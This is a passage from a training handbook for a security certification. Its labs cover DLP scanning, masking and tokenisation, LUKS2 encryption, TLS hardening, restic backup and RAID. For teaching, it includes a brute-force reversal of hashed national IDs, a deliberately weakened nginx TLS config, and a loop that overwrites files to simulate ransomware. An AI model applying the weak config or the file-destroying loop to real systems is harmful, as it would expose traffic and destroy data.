#!/usr/bin/env python3

"""Minimal content-inspection DLP scanner for Lab 23 (synthetic data only).

Usage: dlp_scan.py <folder> [labels.csv]   (files without a label are
treated as Public)"""

import csv, re, sys, pathlib


NRIC = re.compile(r"\b[STFGM]\d{7}[A-Z]\b")

EMAIL = re.compile(r"\b[\w.+-]+@[\w-]+(?:\.[\w-]+)+\b")

CARD = re.compile(r"\b\d(?:[ -]?\d){12,18}\b")


def luhn_ok(candidate):

    digits = [int(c) for c in candidate if c.isdigit()]

    total = 0

    for i, d in enumerate(reversed(digits)):
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
        if i % 2 == 1:
            d *= 2
            if d > 9:
                d -= 9
        total += d
    return 13 <= len(digits) <= 19 and total % 10 == 0


# What each classification is allowed to contain
ALLOWED = {"Public": {"EMAIL"}, "Private": {"EMAIL"},
           "Confidential": {"EMAIL", "NRIC"}, "Restricted": {"EMAIL",
"NRIC", "CARD"}}


def scan(text):
    hits = {"NRIC": NRIC.findall(text), "EMAIL": EMAIL.findall(text),
            "CARD": [c for c in CARD.findall(text) if luhn_ok(c)]}
    return {k: v for k, v in hits.items() if v}


folder = pathlib.Path(sys.argv[1])
labels = {}
if len(sys.argv) > 2:
    labels = {r["file"]: r["classification"] for r in
csv.DictReader(open(sys.argv[2]))}
violations = 0
for f in sorted(p for p in folder.iterdir() if p.is_file()):
    label = labels.get(f.name, "Public")
    hits = scan(f.read_text(errors="ignore"))
    bad = set(hits) - ALLOWED[label]
    summary = ", ".join(f"{k} x{len(v)}" for k, v in hits.items()) or "no
sensitive data"
    status = "VIOLATION" if bad else "ok"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
    violations += bool(bad)

    print(f"[{status:9}] {f.name:24} label={label:12} found: {summary}")

    for k in sorted(bad):

        print(f"            -> {k} not permitted in {label} data:
{hits[k]}")

print(f"Files with policy violations: {violations}")

sys.exit(1 if violations else 0)

EOF

chmod 755 /srv/lab23/dlp_scan.py

python3 -c "import py_compile; py_compile.compile('/srv/lab23/dlp_scan.py',
doraise=True)" && echo "Scanner compiles"
```

5. Run the scan and find the mislabelled file

```
cd /srv/lab23

python3 dlp_scan.py data labels.csv
```

6. Mask and tokenise the sensitive fields Produce a masked HR extract for display, and a tokenised payments file whose real card numbers live only in a restricted vault.

```
cat > /srv/lab23/protect.py <<'EOF'

#!/usr/bin/env python3

"""Masking and tokenisation helpers for Lab 23."""

import csv, json, secrets, sys

BASE = "/srv/lab23"

def mask_nric(v):  return v[0] + "****" + v[-4:]            # S1234567D ->
S****567D

def mask_email(v): return v[0] + "***@" + v.split("@", 1)[1]

if len(sys.argv) > 2 and sys.argv[1] == "detok":

    print(json.load(open(f"{BASE}/vault/tokens.json")).get(sys.argv[2],
"UNKNOWN TOKEN"))

    sys.exit()

with open(f"{BASE}/data/hr-salaries.csv") as src, open(f"{BASE}/out/hr-
masked.csv", "w", newline="") as dst:

    rows = list(csv.DictReader(src))
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
    w = csv.DictWriter(dst, fieldnames=rows[0].keys()); w.writeheader()

    for r in rows:

        r["nric_fin"], r["email"] = mask_nric(r["nric_fin"]),
mask_email(r["email"])

        w.writerow(r)

vault = {}

with open(f"{BASE}/data/payments.csv") as src, open(f"{BASE}/out/payments-
tokenised.csv", "w", newline="") as dst:

    rows = list(csv.DictReader(src))

    w = csv.DictWriter(dst, fieldnames=rows[0].keys()); w.writeheader()

    for r in rows:

        token = "tok_" + secrets.token_hex(8)

        vault[token] = r["card_number"]

        r["card_number"] = token + "-last4-" + r["card_number"][-4:]

        w.writerow(r)

json.dump(vault, open(f"{BASE}/vault/tokens.json", "w"), indent=1)

print("Wrote out/hr-masked.csv, out/payments-tokenised.csv and
vault/tokens.json")

EOF

cd /srv/lab23 && python3 protect.py

chmod 700 vault && chmod 600 vault/tokens.json

head -3 out/hr-masked.csv; head -3 out/payments-tokenised.csv

TOKEN=$(awk -F, 'NR==2{split($3,a,"-last4-"); print a[1]}' out/payments-
tokenised.csv)

echo "Detokenise $TOKEN -> $(python3 protect.py detok "$TOKEN")"
```

7. Pseudonymise with a keyed hash instead of a plain hash A plain SHA-256 of an NRIC is not anonymous: the ID space is small enough to brute force. A keyed HMAC is irreversible without the secret key.

```
cd /srv/lab23

openssl rand -hex 32 > vault/hmac.key && chmod 600 vault/hmac.key

python3 - <<'EOF'
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
import hashlib, hmac, itertools, string

target = hashlib.sha256(b"S1234567D").hexdigest()

print("Plain SHA-256 of the NRIC:", target[:16], "...")

# Attacker knows the first 5 digits (e.g. from birth year); tries the
remaining 2 digits and the check letter

for d1, d2, letter in itertools.product(string.digits, string.digits,
string.ascii_uppercase):

    guess = f"S12345{d1}{d2}{letter}"

    if hashlib.sha256(guess.encode()).hexdigest() == target:

        print("Brute-forced in at most 2600 guesses ->", guess)

        break

key = open("/srv/lab23/vault/hmac.key").read().strip().encode()

print("HMAC-SHA256 pseudonym   :", hmac.new(key, b"S1234567D",
"sha256").hexdigest()[:16], "... (needs the key)")

EOF

python3 - <<'EOF'

import csv, hmac

key = open("/srv/lab23/vault/hmac.key").read().strip().encode()

rows = list(csv.DictReader(open("/srv/lab23/data/hr-salaries.csv")))

with open("/srv/lab23/out/hr-pseudonymised.csv", "w", newline="") as f:

    w = csv.writer(f); w.writerow(["person_id", "monthly_salary"])

    for r in rows:

        w.writerow([hmac.new(key, r["nric_fin"].encode(),
"sha256").hexdigest()[:20], r["monthly_salary"]])

print(open("/srv/lab23/out/hr-pseudonymised.csv").read())

EOF
```

8. Apply permission restrictions by classification Map each label to file permissions, then verify need to know with an unprivileged analyst account.

```
cd /srv/lab23

groupadd -f hr

id analyst >/dev/null 2>&1 || useradd -m -s /bin/bash analyst
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
chown root:root data/press-release.txt data/staff-memo.txt && chmod 644
data/press-release.txt data/staff-memo.txt

chown root:hr data/hr-salaries.csv data/product-formula.txt && chmod 640
data/hr-salaries.csv data/product-formula.txt

chown root:root data/payments.csv && chmod 600 data/payments.csv

ls -l data

su - analyst -c 'head -1 /srv/lab23/data/press-release.txt'

su - analyst -c 'cat /srv/lab23/data/hr-salaries.csv' 2>&1 | head -1

usermod -aG hr analyst

su - analyst -c 'head -2 /srv/lab23/data/hr-salaries.csv'

su - analyst -c 'cat /srv/lab23/data/payments.csv
/srv/lab23/vault/tokens.json' 2>&1 | head -2
```

9. Re-scan the protected output to confirm no raw PII remains Treat everything in out/ as Public and scan it. Masked, tokenised and pseudonymised files must pass.

```
cd /srv/lab23

python3 dlp_scan.py out && echo "Sanitised output is safe to share"
```

Test it

The scan flags the Public press release containing an NRIC (1 violation), ignores the Luhn-invalid card, the protected output scans clean, and the analyst cannot read Restricted data.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-23-data-classification-dlp/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 24 — Data at Rest: LUKS2 Disk Encryption

Exam objective: 3.3. Learning outcome: Encrypt data at rest with LUKS2 and manage its keys.

Goal: The learner creates a LUKS2 volume on a loop device, proves plaintext is absent from the encrypted image but present on an unencrypted one, rotates the passphrase, adds a keyfile and backs up the header.

What you'll build

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

An encrypted volume with two key slots, a header backup and a plaintext comparison (Tools: cryptsetup, losetup, mkfs.ext4, grep.)

Step-by-step

1. Install cryptsetup

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
cryptsetup

modprobe dm_crypt 2>/dev/null || true

cryptsetup --version
```

2. Create a virtual disk on a loop device A 64 MB file attached as a block device stands in for a laptop disk.

```
mkdir -p /root/lab24 && cd /root/lab24

dd if=/dev/zero of=vault.img bs=1M count=64 status=none

LOOP=$(losetup -f --show vault.img)

echo "$LOOP" > loopdev

echo "Virtual disk attached as $LOOP"
```

3. Format the device with LUKS2 and inspect the header The passphrase is held in a root-only file so the commands are non-interactive. Argon2id memory is reduced to 64 MB for the playground (production defaults are much higher).

```
cd /root/lab24 && LOOP=$(cat loopdev)

printf '%s' 'Lab24-Vault-Pass-One' > pass1 && chmod 600 pass1

cryptsetup luksFormat -q --type luks2 --cipher aes-xts-plain64 --key-size
512 --hash sha256 \

  --pbkdf argon2id --pbkdf-memory 65536 "$LOOP" pass1

cryptsetup luksDump "$LOOP" | grep -E 'Version|Cipher:|Key:|PBKDF|Memory|^
[0-9]+: luks2' | head -12
```

4. Open the volume, create a filesystem and store data Opening maps the decrypted view to /dev/mapper/vault; everything written there is encrypted on the disk.

```
cd /root/lab24 && LOOP=$(cat loopdev)

cryptsetup open --key-file pass1 "$LOOP" vault

mkfs.ext4 -q /dev/mapper/vault

mkdir -p /mnt/vault && mount /dev/mapper/vault /mnt/vault
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
echo "CONFIDENTIAL: payroll export 2024 - synthetic" >
/mnt/vault/payroll.txt

ls -l /mnt/vault && lsblk "$LOOP"
```

5. Prove the plaintext is absent from the raw image Lock the volume, then search both the LUKS image and an unencrypted disk holding the same file.

```
cd /root/lab24

umount /mnt/vault && cryptsetup close vault

dd if=/dev/zero of=plain.img bs=1M count=16 status=none && mkfs.ext4 -q -F
plain.img

mkdir -p /mnt/plain && mount -o loop plain.img /mnt/plain

echo "CONFIDENTIAL: payroll export 2024 - synthetic" >
/mnt/plain/payroll.txt

sync && umount /mnt/plain

echo "Unencrypted disk image: $(grep -a -c 'payroll export' plain.img)
match(es)"

echo "LUKS-encrypted image  : $(grep -a -c 'payroll export' vault.img)
match(es)"
```

6. Rotate the passphrase luksChangeKey rewraps the master key with a new passphrase; the data is not re-encrypted and the old passphrase stops working.

```
cd /root/lab24 && LOOP=$(cat loopdev)

printf '%s' 'Lab24-Vault-Pass-Two' > pass2 && chmod 600 pass2

cryptsetup luksChangeKey "$LOOP" --key-file pass1 --pbkdf-memory 65536
pass2

cryptsetup open --test-passphrase --key-file pass1 "$LOOP" 2>/dev/null &&
echo "old passphrase still works" || echo "old passphrase rejected"

cryptsetup open --test-passphrase --key-file pass2 "$LOOP" && echo "new
passphrase accepted"
```

7. Add a keyfile slot and back up the header A random keyfile in a second slot allows unattended unlock (in production it would be sealed by a TPM or held in a KMS). The header backup is your recovery copy of the key slots.

```
cd /root/lab24 && LOOP=$(cat loopdev)

dd if=/dev/urandom of=luks.key bs=64 count=1 status=none && chmod 400
luks.key

cryptsetup luksAddKey "$LOOP" --key-file pass2 --pbkdf-memory 65536
luks.key
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
cryptsetup luksDump "$LOOP" | grep -E '^  [0-9]+: luks2'

[ -f vault-header.bak ] || cryptsetup luksHeaderBackup "$LOOP" --header-
backup-file vault-header.bak

ls -l vault-header.bak

cryptsetup open --key-file luks.key "$LOOP" vault && mount
/dev/mapper/vault /mnt/vault

cat /mnt/vault/payroll.txt

umount /mnt/vault && cryptsetup close vault
```

Test it

The unencrypted image shows 1 match and the LUKS image 0, the old passphrase is rejected, and both the new passphrase and the keyfile unlock the volume.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-24-disk-encryption-luks/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 25 — Data in Transit: TLS Hardening and Cipher Audit

Exam objective: 3.3. Learning outcome: Audit and harden an HTTPS server to TLS 1.2/1.3 with HSTS.

Goal: The learner stands up a deliberately weak nginx HTTPS site, proves it accepts TLS 1.1 and non-forward-secret ciphers, applies a hardened TLS profile with HSTS, and re-audits with OpenSSL and testssl.sh.

What you'll build

A hardened TLS 1.2/1.3 nginx site with HSTS and before/after audit reports (Tools: nginx, openssl s_client, testssl.sh, curl.)

Step-by-step

1. Install nginx, OpenSSL and testssl.sh Port 80 is freed first in case Apache from Lab 21 is running. testssl.sh is cloned from its official GitHub repository (3.2 stable branch).

```
systemctl stop apache2 2>/dev/null || true

apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
nginx openssl git curl bsdextrautils dnsutils
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
[ -d /opt/testssl ] || git clone --depth 1 --branch 3.2
https://github.com/testssl/testssl.sh.git /opt/testssl

/opt/testssl/testssl.sh --version 2>/dev/null | grep -m1 -i version || true
```

2. Create a certificate and a deliberately weak HTTPS site The @SECLEVEL=0 cipher string re-enables legacy protocols and ciphers, imitating an old, badly configured server.

```
openssl req -x509 -newkey rsa:2048 -nodes -days 30 \

  -keyout /etc/ssl/private/lab25.key -out /etc/ssl/certs/lab25.crt \

  -subj "/CN=localhost" -addext "subjectAltName=DNS:localhost,IP:127.0.0.1"

cat > /etc/nginx/sites-available/default <<'EOF'

server {

    listen 443 ssl default_server;

    server_name localhost;

    ssl_certificate     /etc/ssl/certs/lab25.crt;

    ssl_certificate_key /etc/ssl/private/lab25.key;

    # WEAK BASELINE - legacy protocols and every cipher

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;

    ssl_ciphers "ALL:@SECLEVEL=0";

    root /var/www/html;

}

EOF

echo "Lab 25 TLS test page" > /var/www/html/index.html

nginx -t && systemctl restart nginx

curl -skI https://127.0.0.1/ | head -1
```

3. Probe the weak site with openssl s_client Ask for TLS 1.1 and for a non-forward-secret CBC cipher — the weak server accepts both.

```
echo | openssl s_client -connect 127.0.0.1:443 -tls1_1 -cipher
'DEFAULT:@SECLEVEL=0' 2>/dev/null | grep -E '^New,|Protocol  :'

echo | openssl s_client -connect 127.0.0.1:443 -tls1_2 -cipher 'AES128-
SHA:@SECLEVEL=0' 2>/dev/null | grep -E '^New,'
```

4. Run a baseline testssl.sh audit Scan protocols, forward secrecy and headers. This takes one to two minutes.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
/opt/testssl/testssl.sh --quiet --color 0 --warnings batch -p -f -h
https://127.0.0.1 > /root/lab25-baseline.txt 2>&1

grep -E '^ (SSLv2|SSLv3|TLS 1 |TLS 1.1|TLS 1.2|TLS 1.3)' /root/lab25-
baseline.txt

grep -iE 'Strict Transport Security' /root/lab25-baseline.txt
```

5. Write a hardened TLS configuration Allow TLS 1.2 and 1.3 only, ECDHE key exchange with AEAD ciphers, no session tickets, and HSTS for one year.

```
cat > /etc/nginx/snippets/tls-hardening.conf <<'EOF'

ssl_protocols TLSv1.2 TLSv1.3;

ssl_ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-
SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-
ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;

ssl_prefer_server_ciphers off;

ssl_session_tickets off;

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains"
always;

add_header X-Content-Type-Options "nosniff" always;

EOF

sed -i -e '/WEAK BASELINE/d' -e '/ssl_protocols/d' -e '/ssl_ciphers/d'
/etc/nginx/sites-available/default

sed -i '/ssl_certificate_key/a\    include /etc/nginx/snippets/tls-
hardening.conf;' /etc/nginx/sites-available/default

cat /etc/nginx/sites-available/default
```

6. Reload nginx and re-test with openssl s_client TLS 1.1 is now refused, TLS 1.3 negotiates an AEAD suite, and the HSTS header is present.

```
nginx -t && systemctl reload nginx

echo | openssl s_client -connect 127.0.0.1:443 -tls1_1 -cipher
'DEFAULT:@SECLEVEL=0' 2>&1 | grep -E '^New,|alert|no protocols' | head -2

echo | openssl s_client -connect 127.0.0.1:443 -tls1_2 -cipher 'AES128-
SHA:@SECLEVEL=0' 2>&1 | grep -E '^New,|alert' | head -1

echo | openssl s_client -connect 127.0.0.1:443 -tls1_3 2>/dev/null | grep
-E '^New,'

curl -skI https://127.0.0.1/ | grep -i strict-transport
```

7. Re-audit with testssl.sh and compare

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
/opt/testssl/testssl.sh --quiet --color 0 --warnings batch -p -f -h
https://127.0.0.1 > /root/lab25-hardened.txt 2>&1

for f in baseline hardened; do

  echo "== $f"; grep -E '^ (TLS 1 |TLS 1.1|TLS 1.3)' /root/lab25-$f.txt;
grep -iE 'Strict Transport Security' /root/lab25-$f.txt

done
```

Test it

After hardening TLS 1.1 returns 'Cipher is (NONE)', TLS 1.3 negotiates TLS_AES_256_GCM_SHA384, HSTS is present, and testssl.sh shows TLS 1 and TLS 1.1 as not offered.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-25-tls-hardening/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 3.4 — Resilience and Recovery

Official objective: Explain the importance of resilience and recovery in security architecture.

Resilience is the ability to keep delivering a service through failure, and recovery is the ability to restore it quickly and completely afterwards.

High availability uses load balancing and clustering, while hot, warm and cold sites spread geographically provide somewhere to recover to.

Platform diversity, multi-cloud designs, continuity of operations planning and capacity planning for people, technology and infrastructure remove single points of failure.

Plans are proven by tabletop exercises, failover tests, simulations and parallel processing, and data is protected by backups, snapshots, replication and journaling.

Power resilience relies on a UPS to bridge short outages and generators to run through long ones.

Load Balancing versus Clustering

- Load balancing: Spreads incoming requests across several independent servers.
- Load balancing: Health checks take a failed node out of the pool automatically.
- Load balancing: Active-active pools add capacity as well as availability.
- Load balancing: Scheduling can be round robin, least connections or weighted.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Clustering: Several servers work together and present one virtual service.
- Clustering: Nodes share storage or state and watch each other with heartbeats.
- Clustering: An active-passive cluster fails over to a standby node when one dies.
- Clustering: It suits stateful workloads such as databases that cannot simply be spread.

Hot, Warm and Cold Sites

- Hot site — A fully equipped, running replica with current data. Failover takes minutes, but it is the most expensive option.
- Warm site — Has hardware and connectivity but needs data restored and systems configured. Recovery takes hours to days.
- Cold site — Space, power and cooling only, with no equipment ready. It is the cheapest, but recovery can take weeks.
- Geographic dispersion — Place recovery sites far enough apart that one flood, earthquake or regional outage cannot hit both.
- Cloud recovery site — Cloud regions can act as on-demand hot or warm sites, paid for mainly while they are in use.
- Match the site to the recovery time objective: the shorter the RTO, the hotter and more expensive the site.

Diversity, Multi-Cloud, COOP and Capacity

- Platform diversity — Use different operating systems, vendors or technologies so one vulnerability cannot take down every system.
- Multi-cloud — Spreads workloads across several cloud providers to survive a provider outage and avoid lock-in, at extra complexity.
- Continuity of operations — COOP keeps essential functions running during and after a disruption, including alternate sites and manual workarounds.
- Capacity: people — Enough trained staff, with cross-training and succession plans, to run operations during an incident or growth.
- Capacity: technology — Size compute, storage and licences for expected demand, plus headroom for peaks and failover load.
- Capacity: infrastructure — Plan power, cooling, bandwidth and floor space so facilities can support growth and recovery.

Testing Resilience Plans

- Tabletop exercise — A discussion-based walk-through of a scenario around a table. Cheap and low risk, it tests plans and roles, not systems.
- Failover — Deliberately switches production to the standby system or site to prove it takes over within the expected time.
- Simulation — A realistic practice scenario, such as a simulated ransomware outbreak, run without affecting real operations.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Parallel processing — The recovery site processes the same live workload alongside production and the results are compared.
- A tabletop is the least disruptive test; a full failover is the most realistic and the most disruptive.

Backup Types and the 3-2-1 Rule

- The 3-2-1 rule — Keep three copies of the data on two different media types, with one copy held off site or in another region.
- Full backup — Copies everything every run. Restores are fastest and simplest but storage and backup windows are largest.
- Incremental backup — Copies only changes since the last backup of any type. A restore needs the full plus every increment.
- Differential backup — Copies all changes since the last full backup. Files grow daily, but a restore needs the full plus one.
- Snapshot — A point-in-time view of a volume or VM on the same storage system. It is convenient but is not an off-site copy.
- Deduplication — Tools such as restic split data into content-addressed chunks, so unchanged blocks are stored only once.

Backup Considerations

- Onsite and offsite — Onsite copies restore quickly; offsite copies survive fire, flood and theft at the primary site. Keep both.
- Frequency — How often backups run is set by the recovery point objective. A one-hour RPO needs at least hourly backups.
- Encryption — Encrypt backups at rest and in transit so a stolen tape or bucket does not become a data breach.
- Snapshots — Point-in-time copies of a VM or volume that are quick to take and roll back, but usually live on the same system.
- Recovery — Test restores regularly to prove the data is complete and that the restore meets the recovery time objective.
- Immutability — Write-once or object-lock storage stops ransomware or a rogue admin from deleting or encrypting backups.

Replication versus Journaling

- Replication: Copies data continuously or near-continuously to another system or site.
- Replication: Synchronous replication writes both copies before confirming, so no data is lost.
- Replication: Asynchronous replication confirms first and copies later, which allows distance.
- Replication: It also copies corruption and deletions, so it never replaces backups.
- Journaling: Records every change in a log before or as it is applied to the data.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Journaling: After a crash the journal is replayed to return the data to a consistent state.
- Journaling: Databases and filesystems such as ext4 use journals to avoid corruption.
- Journaling: Journals allow recovery to a precise point in time between full backups.

Recovery Objectives and Ransomware

- RPO and RTO: The recovery point objective is how much data loss is acceptable, measured in time.
- RPO and RTO: A four hour RPO means backups must run at least every four hours.
- RPO and RTO: The recovery time objective is how long a restore may take before impact is severe.
- RPO and RTO: RPO sets the backup frequency and RTO sets the restore method you must build.
- Ransomware resistance: Immutable or write-once storage stops an attacker deleting or encrypting backups.
- Ransomware resistance: Air-gapped or offline copies cannot be reached from a compromised domain.
- Ransomware resistance: Backup credentials must not be domain accounts that ransomware can already use.
- Ransomware resistance: Encrypt backups at rest so a stolen repository does not become a data breach.

RAID for Storage Resilience

- RAID 0 — Stripes data across disks for speed with no redundancy at all. One disk failure loses the whole array.
- RAID 1 — Mirrors data onto two disks. Either disk can fail without data loss, at the cost of half the raw capacity.
- RAID 5 — Stripes data with distributed parity across at least three disks and survives the loss of one disk.
- RAID 6 — Uses double parity across at least four disks, so it survives two simultaneous disk failures.
- RAID 10 — A stripe of mirrors that combines RAID 1 redundancy with RAID 0 speed, needing at least four disks.
- RAID is not backup — RAID survives hardware failure but faithfully copies deletion, corruption and ransomware to every disk.

Power Resilience

- UPS — An uninterruptible power supply bridges short outages and smooths spikes, buying time for a clean shutdown or generator start.
- Generator — Fuel-powered generators supply power through long outages. They take time to start, which is why a UPS bridges the gap.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Dual power supplies — Servers with two power supplies fed from separate circuits keep running when one supply or feed fails.
- Managed PDU — Power distribution units feed the racks. Managed PDUs allow remote monitoring and switching of outlets.
- Fuel and testing — Generators need fuel contracts and regular load tests, or they may fail exactly when they are needed.

Obj 3.4 · Key Idea

- An untested backup is only a hope, not a control. Schedule restore drills and integrity checks, measure the actual restore time against your RTO, and verify the restored data is complete.

Exam tips

- Hot = running with current data (minutes). Warm = hardware ready, data to restore (hours to days). Cold = empty space (weeks).
- Load balancing spreads requests across independent servers; clustering makes several nodes act as one service with failover.
- Tabletop = discussion only. Parallel processing = recovery site runs the live workload alongside production for comparison.
- A UPS bridges seconds to minutes until a generator starts; the generator carries long outages.
- RPO drives backup frequency, RTO drives restore method. RAID and replication are not backups because they copy corruption.

Lab 26 — Backup and Recovery with restic

Exam objective: 3.4. Learning outcome: Run encrypted backups, recover from ransomware and replicate off site.

Goal: The learner takes encrypted, deduplicated restic snapshots, simulates ransomware, restores and times the clean snapshot, replicates the repository off site with an integrity check, and schedules backups.

What you'll build

An encrypted restic repository, a timed restore, a verified off-site replica and a cron schedule (Tools: restic, rsync, cron, python3.)

Step-by-step

1. Install restic and rsync

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
restic rsync python3

restic version
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

2. Create production data and an encrypted repository The repository password lives in a root-only file; the two environment variables point restic at the repository and password.

```
mkdir -p /data /backup /root/lab26

for i in $(seq 1 5); do echo "important record $i - synthetic customer
data" > /data/rec$i.txt; done

printf '%s\n' 'Lab26-Backup-Repo-Pass' > /root/lab26/restic.pass && chmod
600 /root/lab26/restic.pass

export RESTIC_REPOSITORY=/backup
RESTIC_PASSWORD_FILE=/root/lab26/restic.pass

restic init
```

3. Take a baseline snapshot and prove the repository is encrypted

```
export RESTIC_REPOSITORY=/backup
RESTIC_PASSWORD_FILE=/root/lab26/restic.pass

restic backup /data --tag baseline

restic snapshots

grep -r "important record" /backup >/dev/null && echo "PLAINTEXT FOUND" ||
echo "Repository is encrypted - no plaintext on disk"
```

4. Change the data and take a second snapshot Only the changed chunks are stored; restic diff shows exactly what changed between the two points in time.

```
export RESTIC_REPOSITORY=/backup
RESTIC_PASSWORD_FILE=/root/lab26/restic.pass

echo "updated balance - synthetic" >> /data/rec1.txt

echo "important record 6 - synthetic customer data" > /data/rec6.txt

restic backup /data --tag daily

read -r OLD NEW <<< "$(restic snapshots --json | python3 -c 'import
sys,json; s=json.load(sys.stdin); print(s[-2]["short_id"], s[-1]
["short_id"])')"

restic diff "$OLD" "$NEW"
```

5. Simulate a ransomware attack Overwrite and rename every file, and drop a ransom note — the production copy is now useless.

```
for f in /data/*.txt; do echo "ENCRYPTED_BY_RANSOMWARE" > "$f"; mv "$f"
"$f.locked"; done

echo "Your files are encrypted. Pay 5 BTC to recover them. (lab
simulation)" > /data/README_RESTORE.txt
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
ls /data && cat /data/rec1.txt.locked
```

6. Restore the clean snapshot and time the recovery Restore to a separate location first, verify it, quarantine the attacker's files as evidence, then put the clean data back. The time output is your measured RTO for this data set.

```
export RESTIC_REPOSITORY=/backup
RESTIC_PASSWORD_FILE=/root/lab26/restic.pass

time restic restore latest --target /restore

ls /restore/data && cat /restore/data/rec1.txt

mkdir -p /root/lab26/quarantine && mv /data/*.locked
/data/README_RESTORE.txt /root/lab26/quarantine/

cp -a /restore/data/. /data/

ls /data
```

7. Replicate the repository off site and verify integrity The repository is already encrypted, so it can be copied to an untrusted "off-site" location as-is. restic check verifies the replica's structure and data.

```
export RESTIC_PASSWORD_FILE=/root/lab26/restic.pass

mkdir -p /offsite

rsync -a /backup/ /offsite/

restic -r /offsite check --read-data

restic -r /offsite snapshots
```

8. Schedule backups and apply a retention policy A four-hour schedule meets a four-hour RPO; nightly retention keeps hourly, daily and weekly points. Preview what retention would remove before relying on it.

```
cat > /etc/cron.d/restic-lab26 <<'EOF'

# Lab 26: back up /data every 4 hours (RPO = 4 h), then replicate off site

RESTIC_REPOSITORY=/backup

RESTIC_PASSWORD_FILE=/root/lab26/restic.pass

0 */4 * * * root restic backup /data --tag scheduled --quiet && rsync -a
/backup/ /offsite/

30 2 * * * root restic forget --keep-hourly 24 --keep-daily 7 --keep-weekly
4 --prune --quiet

EOF

chmod 644 /etc/cron.d/restic-lab26 && cat /etc/cron.d/restic-lab26
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
export RESTIC_REPOSITORY=/backup
RESTIC_PASSWORD_FILE=/root/lab26/restic.pass

restic forget --keep-last 1 --dry-run
```

Test it

The repository holds no plaintext, the restore brings back the pre-ransomware files with 0 locked files left, and restic check on the off-site replica reports no errors.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-26-backup-recovery/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 27 — Storage Resilience with Software RAID (mdadm)

Exam objective: 3.4. Learning outcome: Build RAID arrays that survive a disk failure and rebuild.

Goal: The learner builds a RAID 1 mirror from loop devices, fails a disk and verifies checksums, rebuilds onto a spare, compares RAID 5 capacity, and shows that RAID replicates corruption.

What you'll build

A RAID 1 array that survives failure and rebuilds, plus a three-disk RAID 5 array (Tools: mdadm, losetup, mkfs.ext4, sha256sum.)

Step-by-step

1. Install mdadm and create virtual disks

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
mdadm

modprobe raid1 2>/dev/null; modprobe raid456 2>/dev/null; true

mkdir -p /root/lab27 && cd /root/lab27

for d in 1 2 3 4 5 6; do truncate -s 128M disk$d.img; done

ls -lh /root/lab27/*.img
```

2. Attach the images as loop devices The device names are saved to a file so later steps (and new terminals) can reuse them.

```
cd /root/lab27

for d in 1 2 3 4 5 6; do losetup -f --show disk$d.img; done | tee loops.txt
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
mapfile -t LO < loops.txt

echo "Mirror: ${LO[0]} ${LO[1]}  Spare: ${LO[2]}  RAID5: ${LO[3]} ${LO[4]}
${LO[5]}"
```

3. Build a RAID 1 mirror and watch it sync --run answers the metadata confirmation prompt so the command is non-interactive.

```
mapfile -t LO < /root/lab27/loops.txt

